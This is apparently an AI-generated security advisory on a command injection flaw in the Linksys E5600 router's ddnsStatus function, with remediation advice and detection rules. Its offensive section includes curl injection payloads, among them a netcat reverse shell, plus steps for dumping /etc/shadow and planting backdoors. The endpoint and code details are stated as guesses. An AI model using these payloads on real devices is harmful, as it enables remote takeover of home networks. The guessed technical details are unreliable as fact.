CVE-2025-29229

Executive Summary

CVE-2025-29229 is a critical command injection vulnerability discovered in the Linksys E5600 router, specifically in firmware version V1.1.0.26. The flaw resides in the ddnsStatus function, which improperly sanitizes user-supplied input before passing it to a system shell. An unauthenticated attacker can exploit this vulnerability remotely to execute arbitrary operating system commands with root privileges, leading to full device compromise.

The vulnerability has a CVSS v3.1 base score of 9.8 (Critical) due to its network attack vector, low attack complexity, no required privileges, and no user interaction. As of this report, no official patch has been released by Linksys, and no public proof-of-concept exploit code is available. However, the technical details are sufficient for advanced threat actors to develop weaponized exploits.

This vulnerability poses a significant risk to home and small office networks, as the Linksys E5600 is a widely deployed consumer router. Successful exploitation could allow attackers to pivot into internal networks, intercept traffic, deploy malware, or recruit the device into a botnet.

Supply Chain & Package Security

This vulnerability is not related to any software package registry (NPM, PyPI, Go, Ruby). It is a firmware-level issue in an embedded device. No supply chain implications are identified beyond the direct vendor firmware distribution.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or race conditions are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full file system access and data exfiltration possible.
• Integrity (I): High – Arbitrary command execution allows modification of system files.
• Availability (A): High – Attackers can disrupt router operation or cause denial of service.

Threat Level: Critical. The combination of remote exploitability, no authentication, and full system compromise makes this a high-priority vulnerability for immediate mitigation.

Deep Dive & Mechanics

The ddnsStatus function is part of the router's Dynamic DNS (DDNS) management interface. It is typically invoked via a web request to the router's administrative panel. The function is responsible for retrieving and displaying the current status of the DDNS service.

The vulnerability arises because the function constructs a shell command by concatenating user-controlled input (likely a parameter such as ddns_host or ddns_user) directly into a system call without proper sanitization or escaping. For example, the vulnerable code might resemble:

sprintf(cmd, "ddns-status %s %s", user_input_host, user_input_user);
system(cmd);

An attacker can inject shell metacharacters (e.g., ;, |, &&, `) into the input to break out of the intended command and execute arbitrary commands. Since the web interface runs with root privileges, the injected commands also execute as root.

The attack flow:

1. Attacker sends a crafted HTTP request to the router's web interface (e.g., http://<router-ip>/ddnsStatus.cgi?host=example.com;id).
2. The router processes the request and passes the unsanitized host parameter to the ddnsStatus function.
3. The function builds a command string: ddns-status example.com;id.
4. The system() call executes the command, first running ddns-status example.com (which may fail), then running id (which outputs the current user, confirming root).
5. The output of the injected command is returned in the HTTP response, allowing the attacker to read the result.

Vulnerable vs. Patched Code

Vulnerable Code (C, pseudocode):

void ddnsStatus(char *host, char *user) {
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "ddns-status %s %s", host, user);
    system(cmd);
}

Patched Code (C, pseudocode):

void ddnsStatus(char *host, char *user) {
    // Validate and sanitize input: only allow alphanumeric, dots, and hyphens
    if (!isValidHostname(host) || !isValidUsername(user)) {
        return; // or return error
    }
    // Use execve() with separate arguments to avoid shell injection
    char *args[] = {"ddns-status", host, user, NULL};
    execve("/usr/bin/ddns-status", args, NULL);
}

The patched version validates input against a strict whitelist and uses execve() instead of system(), which does not invoke a shell and thus prevents command injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Linksys E5600 router with firmware V1.1.0.26 (obtain from vendor archive or use a virtualized firmware emulator like Firmadyne).
• Attacker machine (Kali Linux) on the same network segment.

Exploitation Steps:

1. Identify the vulnerable endpoint: Scan the router's web interface for the ddnsStatus function. This may be accessible via a CGI script like /ddnsStatus.cgi or a similar path.

2. Craft the injection payload: Use shell metacharacters to inject commands. For example, to execute id and capture output:

   http://192.168.1.1/ddnsStatus.cgi?host=example.com;id
   

3. Execute and verify: Send the request using curl:

   curl "http://192.168.1.1/ddnsStatus.cgi?host=example.com;id"
   

   The response should contain the output of the id command (e.g., uid=0(root) gid=0(root)).

4. Establish persistence: Inject a reverse shell payload:

   curl "http://192.168.1.1/ddnsStatus.cgi?host=example.com;nc%20192.168.1.100%204444%20-e%20/bin/sh"
   

   (URL-encoded spaces and special characters)

5. Post-exploitation: Once a shell is obtained, the attacker can:

   • Dump configuration files (e.g., /etc/shadow, /etc/config/*).
   • Install malware or a backdoor.
   • Use the router as a pivot point to attack internal hosts.

Blue Team (Defensive)

Detection & Prevention:

1. Network Segmentation: Isolate the router's management interface from the internal network. Use VLANs or firewall rules to restrict access to the web interface only from trusted admin hosts.

2. Web Application Firewall (WAF): Deploy a WAF (e.g., ModSecurity) in front of the router's web interface to block requests containing shell metacharacters (;, |, &&, `).

3. Input Validation: If source code access is available, implement strict input validation as shown in the patched code section.

4. Monitor Logs: Enable and monitor router logs for unusual HTTP requests containing shell metacharacters or unexpected command output.

5. Firmware Update: Check for a patched firmware version from Linksys. If unavailable, consider replacing the device or using a third-party firmware like OpenWrt (if supported).

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /ddnsStatus.cgi (or similar) containing shell metacharacters (;, |, &&, `).
• Outbound connections from the router to unusual IP addresses on non-standard ports (e.g., 4444, 1337).
• DNS queries to domains associated with known C2 infrastructure.

Host IOCs:

• Unauthorized processes running on the router (e.g., nc, bash, python).
• Modified system binaries or configuration files (e.g., /etc/passwd, /etc/crontab).
• Presence of new files in /tmp or /var/run with suspicious names.

Log IOCs:

• Router logs showing system() calls with unexpected arguments.
• Repeated failed login attempts followed by successful exploitation.

Detection Engineering

YARA Rule

rule CVE_2025_29229_Linksys_E5600_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting CVE-2025-29229 in Linksys E5600"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-29229"
        severity = "critical"
    strings:
        $injection1 = /ddnsStatus[^&]*[;&|`]/
        $injection2 = /ddns_status[^&]*[;&|`]/
        $cmd_exec = /(id|cat|ls|nc|bash|sh|wget|curl|perl|python)/
    condition:
        any of ($injection*) and $cmd_exec
}

Sigma Rule

title: CVE-2025-29229 Linksys E5600 Command Injection Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests containing shell metacharacters targeting the ddnsStatus endpoint on Linksys E5600 routers.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-29229
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-uri-query|contains:
            - 'ddnsStatus'
            - 'ddns_status'
        cs-uri-query|re:
            - '.*[;&|`].*'
    condition: selection
falsepositives:
    - Legitimate use of semicolons in query strings (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-29229 Linksys E5600 Command Injection Attempt";
    flow:to_server,established;
    content:"ddnsStatus"; http_uri;
    pcre:"/[;&|`]/U";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2025-29229;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Management: If remote administration is not required, disable it in the router's settings.
2. Change Default Credentials: Ensure the router's admin password is strong and not default.
3. Restrict Access: Use firewall rules to allow access to the router's web interface only from trusted IP addresses.
4. Monitor for Exploitation: Implement the detection rules above to identify potential attacks.

Long-Term Fixes:

1. Vendor Patch: Contact Linksys support and request a firmware update. Monitor the vendor's security advisory page for patches.
2. Firmware Replacement: If no patch is forthcoming, consider replacing the router with a model from a vendor with a better security track record, or flash an open-source firmware like OpenWrt (if compatible).
3. Network Segmentation: Place the router in a DMZ and use a separate, more secure device for internal routing and firewall functions.

Workaround (if source code is available):

• Apply the input validation and command execution changes shown in the patched code section.
• Recompile and flash the modified firmware.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions or further analysis, contact security@valters-it.com.